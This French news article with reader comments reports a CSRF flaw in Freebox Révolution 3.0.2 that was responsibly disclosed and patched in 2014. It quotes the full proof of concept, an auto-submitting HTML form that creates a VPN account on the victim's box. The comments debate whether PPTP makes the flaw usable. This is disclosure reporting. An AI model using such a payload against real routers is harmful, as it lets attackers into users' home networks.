Comment Free a corrigé une faille critique sur Freebox

7

Une faille de sécurité critique sur Freebox Révolution avait été découverte, et promptement corrigée, fin 2014. Sans plus d’informations. Aujourd’hui, on en apprend un peu plus sur cette histoire…

Rappel des faits

La faille a été découverte sur la Freebox Révolution (en version 3.0.2) par un utilisateur, DAU Huy Ngoc, qui a dressé un rapport de vulnérabilité qu’il a envoyé à l’équipe Freebox, le 22 novembre 2014. Le jour même, cette dernière confirme l’existence du problème et s’attèle à travailler à sa résolution. Un hotfix est déployé, venant rapidement colmater la faille sans qu’une mise à jour de la Freebox ne soit nécessaire. Il est suivi, le 6 décembre 2014, d’une mise à jour 3.0.3 venant définitivement corriger le problème.

À l’époque, les développeurs Freebox avaient tenu à saluer la « démarche responsable » de l’utilisateur leur ayant rapporté le bug. En effet, en leur adressant directement une description précise du problème, plutôt qu’en la gardant pour lui (ou pire, en la publiant à la vue de tous), celui-ci a évité que la faille ne soit exploitée par des utilisateurs malveillants.

La nature de la faille

En réalité, deux vulnérabilités avaient été reportées, mais une seule d’entre elles était « critique » pour la sécurité de la Freebox.

Grâce à cette faille, un simple code HTML malicieux inséré sur une page web pouvait créer un nouveau compte VPN sur le Freebox Server du visiteur. Une fois ce compte créé, l’attaquant était alors en mesure de se connecter au réseau local de l’utilisateur de la Freebox et d’accéder à de nombreuses données sensibles : configuration intégrale de la Freebox, fichiers partagés sur le réseau local, etc.

Les retombées auraient pu être rapidement désastreuses, pour les utilisateurs comme pour Free, si cette vulnérabilité était connue.

Voici une description complète de la faille (en anglais) :

Freebox allows users to create VPN connections to their home network. 

In version 3.0.2 when a new user is created, the following JSON request is sent to http://mafreebox.free.fr/api/v3/vpn/user/:

{"login":"foo","password_set":false,"ip_reservation":"","password":"bar"}

This request is vulnerable to CSRF which is easy to trigger.

The following POC would create a new VPN account "ngocdh" / "1234=5678":

<html>
  <body onload=vpn.submit()>
    <form name="vpn" action="http://mafreebox.free.fr/api/v3/vpn/user/" method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&quot;login&quot;&#58;&quot;ngocdh&quot;&#44;&quot;password&#95;set&quot;&#58;false&#44;&quot;ip&#95;reservation&quot;&#58;&quot;&quot;&#44;&quot;password&quot;&#58;&quot;1234" value="5678&quot;&#125;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

 

La seconde faille permettait d’exploiter une faille XSS à condition que l’utilisateur souscrive à un flux RSS géré par l’attaquant, et importe un fichier Contacts (.vcf) malicieux. Sa probabilité d’utilisation était donc quasiment nulle. Néamoins, elle a également été corrigée dans la foulée.

via Milworm / merci à @FreeboxV6

Partager

A propos de l'auteur

[Responsable de la rédaction] Sévit également sur Café Gaming et Point de vue social.

7 commentaires

  1. "Une fois ce compte créé, l’attaquant était alors en mesure de se connecter au réseau local de l’utilisateur de la Freebox et d’accéder à de nombreuses données sensibles : configuration intégrale de la Freebox, fichiers partagés sur le réseau local, etc."

    C'est faux...
    Si vous avez déjà essayer le VPN de free vous savez que un compte ne suffit pas il faut aussi les clefs et les certificats...  Donc oui il était possible de créer un compte mais pas de se connecter sans disposer de cle/certificat => donc ca ne suffit pas pour acceder au reseau interne!

    C'est pas beau et c'est une faille mais elle ne suffisais pas à un attaquant externe pour entrer sur le réseau local!!!!

  2. djip007 a écrit :

    "Une fois ce compte créé, l’attaquant était alors en mesure de se connecter au réseau local de l’utilisateur de la Freebox et d’accéder à de nombreuses données sensibles : configuration intégrale de la Freebox, fichiers partagés sur le réseau local, etc."

    C'est faux...
    Si vous avez déjà essayer le VPN de free vous savez que un compte ne suffit pas il faut aussi les clefs et les certificats...  Donc oui il était possible de créer un compte mais pas de se connecter sans disposer de cle/certificat => donc ca ne suffit pas pour acceder au reseau interne!

    C'est pas beau et c'est une faille mais elle ne suffisais pas à un attaquant externe pour entrer sur le réseau local!!!!

    Tu parles probablement de l'OpenVPN, mais en PPTP login + mot de passe suffisent.

  3. Yoann Ferret a écrit :

    Tu parles probablement de l'OpenVPN, mais en PPTP login + mot de passe suffisent.


    heu.. oui je me rappelais pas que l'on pouvais faire autrement... c'est vrais que les protocole  Microsoft ça me tente pas trop je préfère le ssh à pptp...

  4. djip007 a écrit :

    heu.. oui je me rappelais pas que l'on pouvais faire autrement... c'est vrais que les protocole  Microsoft ça me tente pas trop je préfère le ssh à pptp...

    En attendant, ça suffit parfaitement pour prendre le contrôle à distance à l'aide du login + mdp créé via la faille décrite. Nul besoin de certificats.

  5. Yoann Ferret a écrit :

    En attendant, ça suffit parfaitement pour prendre le contrôle à distance à l'aide du login + mdp créé via la faille décrite. Nul besoin de certificats.


    Oui si tu as activé le pptp... non si tu n'as activé que l'un des 2 modes ssh (OpenVPN)... et non aussi si tu n'as rien activé...  ;)

    Donc celle ceux ayant activé le VPN pptp était concerné par la faille... ça doit bien limiter le nombre d'utilisateur qui pouvais être touché...

  6. Réagir sur le forum